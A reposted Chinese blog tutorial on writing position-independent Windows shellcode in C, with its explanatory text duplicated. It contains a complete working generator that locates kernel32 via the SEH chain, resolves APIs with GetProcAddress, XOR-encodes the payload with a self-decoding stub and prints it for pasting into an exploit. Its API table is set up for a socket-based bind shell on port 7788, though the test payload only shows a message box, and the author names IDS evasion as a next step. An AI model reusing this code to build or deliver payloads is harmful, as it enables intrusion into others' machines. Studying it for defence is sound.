关于Windows下ShellCode编写的一点思考
2014-01-03 16:33
597 查看
By Hume/冷雨
关于ShellCode编写的文章可谓多如牛毛。经典的有yuange、watercloud等前辈的文
章,但大都过于专业和简练,对我这样的初学者学习起来还是有不小的难度。因此把自己
的一点想法记录下来,以慰同菜。
我不是工具论者,但合适的工具无疑会提高工作效率,而如何选取合适的工具和编写
ShellCode的目的及ShellCode的运行环境是直接相关的。ShellCode一般是通过溢出等
方式获取执行权的,并且要在执行时调用目标系统的API进行一些工作,因此就要求
ShellCode采用一种较为通用的方法获取目标系统的API函数地址,其次由于其运行地址
难以确定,因此对数据的寻址要采用动态的方法。另外,ShellCode一般是作为数据发送
给受攻击程序的,而受攻击程序一般会对数据进行过滤,这对ShellCode提出了编码的要
求,现在ShellCode用的编码方法比较简单,基本是XOR大法或其变形。
编写ShellCode有目前流行的有两种方法:用C语言编写+提取;用汇编语言编写和提取。
就个人感觉而言,用汇编语言编写和提取是最方便的,因为ShellCode代码一般比较短,要
完成的任务也相对单一,一般不涉及复杂的运算。因此可以用汇编语言编写。而且用汇编
编写便于数据的控制、代码定位及生成的控制,在某些汇编编译器中,提供了直接生成二进制
代码功能并提供了直接包含二进制文件的伪指令,这样就可以直接编写一个makefile文件将
ShellCode代码和攻击程序分开,分别编写和调试,而无需print、拷贝、粘贴等操作,只需
在攻击程序中加入一段编码代码就可以了。这样也便于交流。
但现在网络上流行的都是C编写的ShellCode,不过最终要生成的是ShellCode代码,这就涉
及到提取C生成的汇编代码的问题。但在C中由于编译器会在函数的开始和结束生成一些附加
代码,而这些代码未必是我们需要的,还有一个问题就是要提取代码的结束在C中没有直接的
操作符获取。这些实际上也都不是很难,只要在函数的开始和结束加入特征字符串用C库函数
memcmp搜索即可定位。对ShellCode的编码可写一段程序进行,比如XOR法的。最后写一段
函数将编码后的ShellCode打印出来,复制、粘贴就可以用在攻击程序里面了。
用C编写的中心思想就是我们用C语言写代码,让编译器为我们生成二进制代码,然后在运行时
编码、打印,这样工作就完成了。
在网上找到了一个用C编写ShellCode的例子,于是亲自调试了一遍,发现了一些问题后修改
并加入一些自己的代码,测试通过。
其中的一些问题有:
1.KERNEL基地址的定位和API函数地址的获取
原来的代码中采用的是暴力搜索地址空间的方法。这不算最佳方法,因为一是代码比较多,
二是要处理搜索无效页面引发的异常。现在还有两种方法可用:
一种是从PEB相关数据结构中获取,请参考绿盟月刊44期SCZ的《通过TEB/PEB枚举当前进程
空间中用户模块列表》一文。代码如下:
mov eax, fs:0x30
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov ebp, [eax + 0x08] //ebp 就是kernel32.dll的地址了
这种方法比较通用,适用于2K/XP/2003。
另外一种方法就是搜索进程的SEH链表获取Kernel32.UnhandledExceptionFilter的地址,
再由该地址对齐追溯获得Kernel的基地址,这种方法也是比较通用的,适用于9X/2K/XP/2003。
在下面的代码中我就采用了这种方法。
2.几段代码的作用
在ShellCode提取代码中你或许会经常见到
temp = *shellcodefnadd;
if(temp == 0xe9)
{
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
这样的代码,其用途何在?答案在于在用Visual Studio生成调试版本的时候,用函数指针
操作获得的地址并不是指向真正的函数入口点,而是指向跳转指令JMP:
jmp function
上面那段代码就是处理这种情况的,如果不是为了调试方便,完全可以删去。
还有在代码中会看到:
jmp decode_end
decode_start:
pop edx
.......
decode_end:
call decode_start
Shell_start:
之类的代码其作用是定位Shell_start处的代码,便于装配,由于在C中没有方便的手段定位
代码的长度和位置,因此采用此变通的做法。在这种方法不符合编码的要求时,可以采用动态计算
和写入的方法。不过复杂了一点罢了。
3.关于局部变量的地址顺序
在原程序中采用了如下局部变量结构:
FARPROC WriteFileadd;
FARPROC ReadFileadd;
FARPROC PeekNamedPipeadd;
FARPROC CloseHandleadd;
FARPROC CreateProcessadd;
FARPROC CreatePipeadd;
FARPROC procloadlib;
FARPROC apifnadd[1];
以为这样编译器生成的变量地址顺序就是这样的,在有些机器上也许如此,不过在我的
机器上则不然,比如下面的测试程序:
在我机器上产生的输出是:
12FF7C
12FF78
12FF74
12FF70
12FF68
12FF6C
12FF64
12FF60
12FF5C
12FF58
这证实了局部变量的实际地址并不是完全按我们自己定义排列的。因此原来ShellCode中采用的
直接使用函数名的方法就可靠了。因此我采用了其它的方法,C提供的Enum关键字使得这项
工作变得容易,详见下面的代码。
4.more
关于变形ShellCode躲避IDS检测,以及编码方法等需进一步研究。
5.代码
可见,用C编写ShellCode需要对代码生成及C编译器行为有更多了解。有些地方处理起来也
不是很省力。不过一旦模板写成,以后写起来或写复杂ShellCode就省力多了。
增加API时只要在相应的.dll后增加函数名称项(如果str中还没有相应的dll,增加之)并
同步更新Enum的索引即可。调用API时直接使用:
API[_APINAME](param,....param);
即可。
如果没注释掉有#define DEBUG 1的话,下面代码编译后运行即可对ShellCode进行调试,
下面代码将弹出一个对话框,点击确定即可结束程序。that's ALL。
-------------------------------------------
关于ShellCode编写的文章可谓多如牛毛。经典的有yuange、watercloud等前辈的文
章,但大都过于专业和简练,对我这样的初学者学习起来还是有不小的难度。因此把自己
的一点想法记录下来,以慰同菜。
我不是工具论者,但合适的工具无疑会提高工作效率,而如何选取合适的工具和编写
ShellCode的目的及ShellCode的运行环境是直接相关的。ShellCode一般是通过溢出等
方式获取执行权的,并且要在执行时调用目标系统的API进行一些工作,因此就要求
ShellCode采用一种较为通用的方法获取目标系统的API函数地址,其次由于其运行地址
难以确定,因此对数据的寻址要采用动态的方法。另外,ShellCode一般是作为数据发送
给受攻击程序的,而受攻击程序一般会对数据进行过滤,这对ShellCode提出了编码的要
求,现在ShellCode用的编码方法比较简单,基本是XOR大法或其变形。
编写ShellCode有目前流行的有两种方法:用C语言编写+提取;用汇编语言编写和提取。
就个人感觉而言,用汇编语言编写和提取是最方便的,因为ShellCode代码一般比较短,要
完成的任务也相对单一,一般不涉及复杂的运算。因此可以用汇编语言编写。而且用汇编
编写便于数据的控制、代码定位及生成的控制,在某些汇编编译器中,提供了直接生成二进制
代码功能并提供了直接包含二进制文件的伪指令,这样就可以直接编写一个makefile文件将
ShellCode代码和攻击程序分开,分别编写和调试,而无需print、拷贝、粘贴等操作,只需
在攻击程序中加入一段编码代码就可以了。这样也便于交流。
但现在网络上流行的都是C编写的ShellCode,不过最终要生成的是ShellCode代码,这就涉
及到提取C生成的汇编代码的问题。但在C中由于编译器会在函数的开始和结束生成一些附加
代码,而这些代码未必是我们需要的,还有一个问题就是要提取代码的结束在C中没有直接的
操作符获取。这些实际上也都不是很难,只要在函数的开始和结束加入特征字符串用C库函数
memcmp搜索即可定位。对ShellCode的编码可写一段程序进行,比如XOR法的。最后写一段
函数将编码后的ShellCode打印出来,复制、粘贴就可以用在攻击程序里面了。
用C编写的中心思想就是我们用C语言写代码,让编译器为我们生成二进制代码,然后在运行时
编码、打印,这样工作就完成了。
在网上找到了一个用C编写ShellCode的例子,于是亲自调试了一遍,发现了一些问题后修改
并加入一些自己的代码,测试通过。
其中的一些问题有:
1.KERNEL基地址的定位和API函数地址的获取
原来的代码中采用的是暴力搜索地址空间的方法。这不算最佳方法,因为一是代码比较多,
二是要处理搜索无效页面引发的异常。现在还有两种方法可用:
一种是从PEB相关数据结构中获取,请参考绿盟月刊44期SCZ的《通过TEB/PEB枚举当前进程
空间中用户模块列表》一文。代码如下:
mov eax, fs:0x30
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov ebp, [eax + 0x08] //ebp 就是kernel32.dll的地址了
这种方法比较通用,适用于2K/XP/2003。
另外一种方法就是搜索进程的SEH链表获取Kernel32.UnhandledExceptionFilter的地址,
再由该地址对齐追溯获得Kernel的基地址,这种方法也是比较通用的,适用于9X/2K/XP/2003。
在下面的代码中我就采用了这种方法。
2.几段代码的作用
在ShellCode提取代码中你或许会经常见到
temp = *shellcodefnadd;
if(temp == 0xe9)
{
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
这样的代码,其用途何在?答案在于在用Visual Studio生成调试版本的时候,用函数指针
操作获得的地址并不是指向真正的函数入口点,而是指向跳转指令JMP:
jmp function
上面那段代码就是处理这种情况的,如果不是为了调试方便,完全可以删去。
还有在代码中会看到:
jmp decode_end
decode_start:
pop edx
.......
decode_end:
call decode_start
Shell_start:
之类的代码其作用是定位Shell_start处的代码,便于装配,由于在C中没有方便的手段定位
代码的长度和位置,因此采用此变通的做法。在这种方法不符合编码的要求时,可以采用动态计算
和写入的方法。不过复杂了一点罢了。
3.关于局部变量的地址顺序
在原程序中采用了如下局部变量结构:
FARPROC WriteFileadd;
FARPROC ReadFileadd;
FARPROC PeekNamedPipeadd;
FARPROC CloseHandleadd;
FARPROC CreateProcessadd;
FARPROC CreatePipeadd;
FARPROC procloadlib;
FARPROC apifnadd[1];
以为这样编译器生成的变量地址顺序就是这样的,在有些机器上也许如此,不过在我的
机器上则不然,比如下面的测试程序:
#include <windows.h> #include <stdio.h> #include <tchar.h> #include <winioctl.h> void shell(); void __cdecl main(int argc,char *argv[]) { FARPROC arg1; FARPROC arg2; FARPROC arg3; FARPROC arg4; FARPROC arg5; int par1; int par2; int par3; int par4; char ch; printf("Size of FARPROC %d/n",sizeof(FARPROC)); printf("/n%X/n%X/n%X/n%X/n%X/n/n /t%X/n%X/n%X/n%X/n /t%X/n", &arg1, &arg2, &arg3, &arg4, &arg5, &par1, &par2, &par3, &par4, &ch ); }
在我机器上产生的输出是:
12FF7C
12FF78
12FF74
12FF70
12FF68
12FF6C
12FF64
12FF60
12FF5C
12FF58
这证实了局部变量的实际地址并不是完全按我们自己定义排列的。因此原来ShellCode中采用的
直接使用函数名的方法就可靠了。因此我采用了其它的方法,C提供的Enum关键字使得这项
工作变得容易,详见下面的代码。
4.more
关于变形ShellCode躲避IDS检测,以及编码方法等需进一步研究。
5.代码
可见,用C编写ShellCode需要对代码生成及C编译器行为有更多了解。有些地方处理起来也
不是很省力。不过一旦模板写成,以后写起来或写复杂ShellCode就省力多了。
增加API时只要在相应的.dll后增加函数名称项(如果str中还没有相应的dll,增加之)并
同步更新Enum的索引即可。调用API时直接使用:
API[_APINAME](param,....param);
即可。
如果没注释掉有#define DEBUG 1的话,下面代码编译后运行即可对ShellCode进行调试,
下面代码将弹出一个对话框,点击确定即可结束程序。that's ALL。
-------------------------------------------
/* 使用C语言编写通用shellcode的程序 出处:internet 修改:Hume/冷雨飘心 测试:Win2K SP4 Local */ #include <windows.h> #include <stdio.h> #include <winioctl.h> #define DEBUG 1 // //函数原型 // void DecryptSc(); void ShellCodes(); void PrintSc(char *lpBuff, int buffsize); // //用到的部分定义 // #define BEGINSTRLEN 0x08 //开始字符串长度 #define ENDSTRLEN 0x08 //结束标记字符的长度 #define nop_CODE 0x90 //填充字符 #define nop_LEN 0x0 //ShellCode起始的填充长度 #define BUFFSIZE 0x20000 //输出缓冲区大小 #define sc_PORT 7788 //绑定端口号 0x1e6c #define sc_BUFFSIZE 0x2000 //ShellCode缓冲区大小 #define Enc_key 0x7A //编码密钥 #define MAX_Enc_Len 0x400 //加密代码的最大长度 1024足够? #define MAX_Sc_Len 0x2000 //hellCode的最大长度 8192足够? #define MAX_api_strlen 0x400 //APIstr字符串的长度 #define API_endstr "strend"//API结尾标记字符串 #define API_endstrlen 0x06 //标记字符串长度 #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90/ __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 #define PROC_END PROC_BEGIN //--------------------------------------------------- enum{ //Kernel32 _CreatePipe, _CreateProcessA, _CloseHandle, _PeekNamedPipe, _ReadFile, _WriteFile, _ExitProcess, //WS2_32 _socket, _bind, _listen, _accept, _send, _recv, _ioctlsocket, _closesocket, //本机测试User32 _MessageBeep, _MessageBoxA, API_num }; // //代码这里开始 // int __cdecl main(int argc, char **argv) { //shellcode中要用到的字符串 static char ApiStr[]="/x1e/x6c" //端口地址 //Kernel32的API函数名称 "CreatePipe""/x0" "CreateProcessA""/x0" "CloseHandle""/x0" "PeekNamedPipe""/x0" "ReadFile""/x0" "WriteFile""/x0" "ExitProcess""/x0" //其它API中用到的API "wsock32.dll""/x0" "socket""/x0" "bind""/x0" "listen""/x0" "accept""/x0" "send""/x0" "recv""/x0" "ioctlsocket""/x0" "closesocket""/x0" //本机测试 "user32.dll""/x0" "MessageBeep""/x0" "MessageBoxA""/x0" "/x0/x0/x0/x0/x0" "strend"; char *fnbgn_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90"; //标记开始的字符串 char *fnend_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90"; //标记结束的字符串 char buff[BUFFSIZE]; //缓冲区 char sc_buff[sc_BUFFSIZE]; //ShellCodes缓冲 char *pDcrypt_addr, *pSc_addr; int buff_len; //缓冲长度 int EncCode_len; //加密编码代码长度 int Sc_len; //原始ShellCode的长度 int i,k; unsigned char ch; // //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串 //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这 //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理 // pDcrypt_addr=(char *)DecryptSc; //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表, //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试 ch=*pDcrypt_addr; if (ch==0xe9) { pDcrypt_addr++; i=*(int *)pDcrypt_addr; pDcrypt_addr+=(i+4); //此时指向函数的实际地址 } //找到解码代码的开始部分 for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break; if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8); //如找到定位实际代码的开始 else { //显示错误信息 k=0; printf("/nNo Begin str defined in Decrypt function!Please Check before go on.../n"); return 0; } for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break; if (k<MAX_Enc_Len) EncCode_len=k; else { k=0; printf("/nNo End str defined in Decrypt function!Please Check..../n"); return 0; } memset(buff,nop_CODE,BUFFSIZE); //缓冲区填充 memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len); //把DecryptSc代码复制进buff // //处理ShellCode代码,如果需要定位到代码的开始 // pSc_addr=(char *)ShellCodes; //shellcode的地址 //调试状态下的函数地址处理,便于调试 ch=*pSc_addr; if (ch==0xe9) { pSc_addr++; i=*(int *)pSc_addr; pSc_addr+=(i+4); //此时指向函数的实际地址 } //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的 /* for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break; if (k<MAX_Enc_Len) pSc_addr+=(k+8); //如找到定位实际代码的开始 */ //找到shellcode的结尾及长度 for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break; if (k<MAX_Sc_Len) Sc_len=k; else { k=0; printf("/nNo End str defined in ShellCodes function!Please Check..../n"); return 0; } //把shellcode代码复制进sc_buff memcpy(sc_buff,pSc_addr,Sc_len); //把字符串拷贝在shellcode的结尾 for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break; if(i>=MAX_api_strlen) { printf("/nNo End str defined in API strings!Please Check..../n"); return 0; } memcpy(sc_buff+k,ApiStr,i); Sc_len+=i; //增加shellcode的长度 // //对shellcode进行编码算法简单,可根据需要改变 // k=EncCode_len+nop_LEN; //定位缓冲区应存放ShellCode地址的开始 for(i=0;i<Sc_len;++i){ ch=sc_buff[i]^Enc_key; //对一些可能造成shellcode失效的字符进行替换 if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='//'||ch=='0'||ch=='?'||ch=='%'||ch=='+') { buff[k]='0'; ++k; ch+=0x31; } //把编码过的shellcode放在DecryptSc代码后面 buff[k]=ch; ++k; } //shellcode的总长度 buff_len=k; //打印出shellcode PrintSc(buff,buff_len); //buff[buff_len]=0; //printf("%s",buff); #ifdef DEBUG _asm{ lea eax,buff jmp eax ret } #endif return 0; } //解码shellcode的代码 void DecryptSc() { __asm{ ///////////////////////// //定义开始标志 ///////////////////////// PROC_BEGIN //C macro to begin proc jmp next getEncCodeAddr: pop edi push edi pop esi xor ecx,ecx Decrypt_lop: lodsb cmp al,cl jz shell cmp al,0x30 //判断是否为特殊字符 jz special_char_clean store: xor al,Enc_key stosb jmp Decrypt_lop special_char_clean: lodsb sub al,0x31 jmp store next: call getEncCodeAddr //其余真正加密的shellcode代码会连接在此处 shell: ///////////////////////// //定义结束标志 ///////////////////////// PROC_END //C macro to end proc } } // //shellcode代码 // void ShellCodes() { //API低址数组 FARPROC API[API_num]; //自己获取的API地址 FARPROC GetProcAddr; FARPROC LoadLib; HANDLE hKrnl32; HANDLE libhandle; char *ApiStr_addr,*p; int k; u_short shellcodeport; //测试用变量 char *testAddr; /* STARTUPINFO siinfo; SOCKET listenFD,clientFD; struct sockaddr_in server; int iAddrSize = sizeof(server); int lBytesRead; PROCESS_INFORMATION ProcessInformation; HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; SECURITY_ATTRIBUTES sa; */ _asm { jmp locate_addr0 getApiStr_addr: pop ApiStr_addr //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址 //以后就可以方便地获取任何API的地址了 //保护寄存器 pushad xor esi,esi lods dword ptr fs:[esi] Search_Krnl32_lop: inc eax je Krnl32_Base_Ok dec eax xchg esi,eax LODSD jmp Search_Krnl32_lop Krnl32_Base_Ok: LODSD ;compare if PE_hdr xchg esi,eax find_pe_header: dec esi xor si,si ;kernel32 is 64kb align mov eax,[esi] add ax,-'ZM' ; jne find_pe_header mov edi,[esi+3ch] ;.e_lfanew mov eax,[esi+edi] add eax,-'EP' ;anti heuristic change this if you are using MASM etc. jne find_pe_header push esi ;esi=VA Kernel32.BASE ;edi=RVA K32.pehdr mov ebx,esi mov edi,[ebx+edi+78h] ;peh.DataDirectory push edi push esi mov eax,[ebx+edi+20h] ;peexc.AddressOfNames mov edx,[ebx+edi+24h] ;peexc.AddressOfNameOrdinals call __getProcAddr _emit 0x47 _emit 0x65 _emit 0x74 _emit 0x50 _emit 0x72 _emit 0x6F _emit 0x63 _emit 0x41 _emit 0x64 _emit 0x64 _emit 0x72 _emit 0x65 _emit 0x73 _emit 0x73 _emit 0x0 //db "GetProcAddress",0 __getProcAddr: pop edi mov ecx,15 sub eax,4 next_: add eax,4 add edi,ecx sub edi,15 mov esi,[ebx+eax] add esi,ebx mov ecx,15 repz cmpsb jnz next_ pop esi pop edi sub eax,[ebx+edi+20h] ;peexc.AddressOfNames shr eax,1 add edx,ebx movzx eax,word ptr [edx+eax] add esi,[ebx+edi+1ch] ;peexc.AddressOfFunctions add ebx,[esi+eax*4] ;ebx=Kernel32.GetProcAddress.addr ;use GetProcAddress and hModule to get other func pop esi ;esi=kernel32 Base mov [hKrnl32],esi //保存 mov [GetProcAddr],ebx //保存 call _getLoadLib _emit 0x4C _emit 0x6F _emit 0x61 _emit 0x64 _emit 0x4C _emit 0x69 _emit 0x62 _emit 0x72 _emit 0x61 _emit 0x72 _emit 0x79 _emit 0x41 _emit 0x0 //db "LoadLibraryA",0 _getLoadLib: push esi call ebx mov [LoadLib],eax //恢复寄存器,避免更多问题 popad } //取出定义的端口地址 shellcodeport=*(u_short *)ApiStr_addr; ApiStr_addr+=2; ////////////////////////////////测试用 testAddr=ApiStr_addr; //////////////////////////////////// //利用GetProcAddress来获得shellcode中所用到的API地址 libhandle=hKrnl32; p=ApiStr_addr; k=0; ///* while ( *((unsigned int *)p) != 0) { ApiStr_addr=p; while(*p) p++; //前进到下一个字符串 if (*( (unsigned int *)(p-4))=='lld.') { libhandle=(HANDLE)LoadLib(ApiStr_addr); //若为DLL则加载DLL } else { API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr); k++; } ApiStr_addr=++p; //更新指针前进一个字符位置 } //*/ /////////////////////////////////////////////////////////////////////////// // 下面就可以使用C语言来编写真正实现功能的shellcode了 // /////////////////////////////////////////////////////////////////////////// // //简单测试几个API看是否复合要求 // API[_MessageBeep](0x10); API[_MessageBoxA](0,testAddr,0,0x40); API[_ExitProcess](0); /////////////////////////////////////////////////////////////////////////// // shellcode功能部分结束 // /////////////////////////////////////////////////////////////////////////// //死循环 die: goto die; __asm { locate_addr0: call getApiStr_addr //5 bytes //真正的字符串数据要连接在此处 ///////////////////////// //定义结束标志 ///////////////////////// PROC_END //C macro to end proc } } // //显示打印生成的shellcode的C string格式代码 // void PrintSc(char *lpBuff, int buffsize) { int i,j; char *p; char msg[4]; for(i=0;i<buffsize;i++) { if((i%16)==0) if(i!=0) printf("/"/n/""); else printf("/""); sprintf(msg,"//x%.2X",lpBuff[i]&0xff); for( p = msg, j=0; j < 4; p++, j++ ) { if(isupper(*p)) printf("%c", _tolower(*p)); else printf("%c", p[0]); } } printf("/";/n/*Shell total are %d bytes *//n",buffsize); }
相关文章推荐
- 关于Windows下ShellCode编写的一点思考
- 关于Windows下ShellCode编写的一点思考
- 关于Windows下ShellCode编写的一点思考
- 关于Windows下ShellCode编写的一点思考
- 关于Windows下ShellCode编写的一点思考
- 关于Windows下ShellCode编写的一点思考
- 【分析】关于Windows下ShellCode编写的一点思考
- (转载)关于Windows下ShellCode编写的一点思考
- 关于Windows下ShellCode编写的一点思考
- 关于Windows下ShellCode编写的一点思考
- 关于Windows下ShellCode编写的一点思考
- 关于windows内核SSDT HOOK的一点思考
- 大话C、C++之 关于void的一点哲学思考
- 【Consul】关于健康检查的一点思考
- 【C++】关于日历编程的一点思考
- 关于『65535问题』的一点研究与思考
- 最近的一点思考,关于高手/大师/学霸
- 关于web框架的一点思考
- 关于图搜索的一点思考
- android下ViewGroup关于Layout的一点思考